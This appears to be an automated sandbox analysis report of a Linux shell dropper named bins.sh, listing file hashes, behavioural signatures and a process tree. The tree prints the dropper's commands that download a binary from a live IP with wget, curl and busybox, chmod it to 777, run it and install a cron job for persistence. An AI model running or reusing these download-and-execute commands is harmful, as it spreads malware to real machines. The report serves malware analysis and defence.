Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 17:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    44abefd5465444dcab746bfecbb8c39e

  • SHA1

    c1351bb88084f4d4243abda067e7f8a2fcc38af2

  • SHA256

    0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca

  • SHA512

    18f2b3bbded2119de5c8ee396124532e81e70b827e9373f4f6dde79e63b3cd81144bbdc63bfa06dd66f42466e5b92d928d5c5ea874cf43d9cc126c35ca5a75a0

  • SSDEEP

    192:uNQwhwJwWw1wBwo4wqAbwhwJwWw1wBwJe:uNQwhwJwWw1wBwo4w5bwhwJwWw1wBw8

Malware Config

Signatures

  • Contacts a large (2209) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1535
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1536
        • /usr/bin/wget
          wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1537
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1541
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1542
        • /bin/chmod
          chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • File and Directory Permissions Modification
          PID:1543
        • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1544
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1546
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1547
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1548
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1549
              • /bin/rm
                rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
                2⤵
                  PID:1551
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                  2⤵
                    PID:1554

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.zzdGX7

                  Filesize

                  210B

                  MD5

                  baddd7df2d9d3356fcffd7780a31773a

                  SHA1

                  2005e4c245198981b2ee6f52fe764837800d3c21

                  SHA256

                  3ce3ebf98795895a7d92995a67afc1ee34d080c96eebfe8e91e52e90ca1b0014

                  SHA512

                  624e929f5b0557c196abc9d49d5879c15e9c23637b42da15616b625d965c03d156522da891111c2d9cb5aca4c9b5bdab965c6082e5498cb26a254dbe6698a2b7